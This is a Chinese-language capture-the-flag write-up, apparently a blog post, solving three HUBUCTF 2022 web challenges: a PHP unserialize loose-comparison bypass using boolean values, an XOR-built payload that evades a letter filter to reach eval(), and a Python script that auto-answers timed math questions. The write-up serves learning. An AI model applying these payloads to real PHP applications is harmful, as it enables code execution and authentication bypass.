当前位置: 首页 > news >正文

[HUBUCTF 2022 新生赛]

checkin


<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

        先对代码进行审计,发现isset( )是我们没见过的用法,可以去了解一下。

isset() 函数用于检测变量是否已设置并且非 NULL。

以上是基本用途,而本题中用到的是php的三元运算符

$id = isset($_GET['id']) ? $_GET['id'] : '';

(条件) ? (值1):(值2);

解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。

isset()函数是检测变量是否设置,$_GET['id']是通过get方法传过来的值。
这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];
如果$_GET['id']没有被设置,则$id = '';

        继续向下看,发现unserialize 就可以知道和反序列化有关了。

exp:

<?php
$info = array(
	'username'=>true,
	'password'=>true
);
$serialized_data = serialize($info);
echo  $serialized_data . PHP_EOL;
?>

        得到payload

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

        这里卡在exp怎么写,后来详细了解了一下序列化和反序列化以后,再结合上面的isset( ),知道了username和password要用boolen类型,才写了出来。

HowToGetShell


<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

        这道题一眼可以看到preg_match( )函数 ,对于/a-zA-Z/这个正则表达式,我们可以利用PHP动态函数的特性,构造出字符串。

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
 
 
answer = "phpinfo"
 
 
tmp1,tmp2 = '',''
for c in answer:
    for i in valid:
        for j in valid:
            if (ord(i)^ord(j) == ord(c)):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
print(tmp1,tmp2)

payload

mess=$_="0302181"^"@[@[_^^";$_();

参考链接

Calculate


题目是想让我们做数学题,而且要速度介于1-3s之间,回答20个问题即可给出flag。但是我对这道题目无从下手,exp也不会写就去找了大佬的

 

# -*- coding: utf-8 -*-
import time
import requests
import re

url = 'http://1.14.71.254:28110/'
ses = requests.session()
reg = re.compile(">(.)</div")
while True:
    get = ses.get(url)
    math = reg.findall(get.text)
    final = ''.join(math)[:-1]
    result = str(eval(final))
    print(result)
    time.sleep(1)
    post = ses.post(url=url, data={"ans": result})
    if 'NSS' in post.text:
        print(post.text)
        break
    time.sleep(1)

最后也是得到了flag。

相关文章:

  • 【Machine Learning】13.逻辑回归小结and练习
  • Cadence Allegro 过孔通孔盲孔埋孔详细说明及设计举例图文教程
  • Spring boot再来一遍
  • Mathorcup数学建模竞赛第三届-【妈妈杯】B题:关于三维健康评分模型的研究(附带赛题解析获奖论文)(一)
  • 最新版本vscode 真正解决用vscode + unity搭配开发没有代码智能提示 OmniSharp服务启动 vscode调试unity准备
  • T1064 奥运奖牌计数(信息学一本通C++)
  • python爬虫--cookie、防盗链、代理
  • Vue3+TSX开发模式下内置组件的替代方案
  • 燃烧化学平衡判据
  • 05--Django视图层-JsonResponse对象、request对象中的其他方法以及FBV与CBV的书写
  • Spring中Bean的生命周期详解
  • Linux文件之/etc/passwd和/etc/shadow
  • OCR - 微软windows 11系统自带的Windows OCR功能初体验
  • 公众号网课查题系统
  • 关于SELECT...FOR UPDATE到底锁表还是锁行
  • 【Leetcode】104. 二叉树的最大深度
  • Angular Elements 及其运作原理
  • docker容器内的网络抓包
  • exports和module.exports
  • JavaScript-Array类型
  • JS+CSS实现数字滚动
  • spring + angular 实现导出excel
  • Web标准制定过程
  • 自动记录MySQL慢查询快照脚本
  • TPG领衔财团投资轻奢珠宝品牌APM Monaco
  • 说说我为什么看好Spring Cloud Alibaba
  • ​中南建设2022年半年报“韧”字当头,经营性现金流持续为正​
  • ![CDATA[ ]] 是什么东东
  • #Lua:Lua调用C++生成的DLL库
  • $emit传递多个参数_PPC和MIPS指令集下二进制代码中函数参数个数的识别方法
  • (cljs/run-at (JSVM. :browser) 搭建刚好可用的开发环境!)
  • (C语言)求出1,2,5三个数不同个数组合为100的组合个数
  • (Java实习生)每日10道面试题打卡——JavaWeb篇
  • (LeetCode) T14. Longest Common Prefix
  • (MIT博士)林达华老师-概率模型与计算机视觉”
  • (附源码)springboot 基于HTML5的个人网页的网站设计与实现 毕业设计 031623
  • (附源码)springboot工单管理系统 毕业设计 964158
  • (简单有案例)前端实现主题切换、动态换肤的两种简单方式
  • (十五)使用Nexus创建Maven私服
  • (一)SpringBoot3---尚硅谷总结
  • (一)u-boot-nand.bin的下载
  • (转)菜鸟学数据库(三)——存储过程
  • (最优化理论与方法)第二章最优化所需基础知识-第三节:重要凸集举例
  • .net 4.0 A potentially dangerous Request.Form value was detected from the client 的解决方案
  • .net core Swagger 过滤部分Api
  • .Net CoreRabbitMQ消息存储可靠机制
  • .NET 中让 Task 支持带超时的异步等待
  • .NET成年了,然后呢?
  • .NET牛人应该知道些什么(2):中级.NET开发人员
  • .pop ----remove 删除
  • @autowired注解作用_Spring Boot进阶教程——注解大全(建议收藏!)
  • @Bean, @Component, @Configuration简析
  • [ Linux 长征路第二篇] 基本指令head,tail,date,cal,find,grep,zip,tar,bc,unname
  • [Bugku]密码???[writeup]
  • [BZOJ1877][SDOI2009]晨跑[最大流+费用流]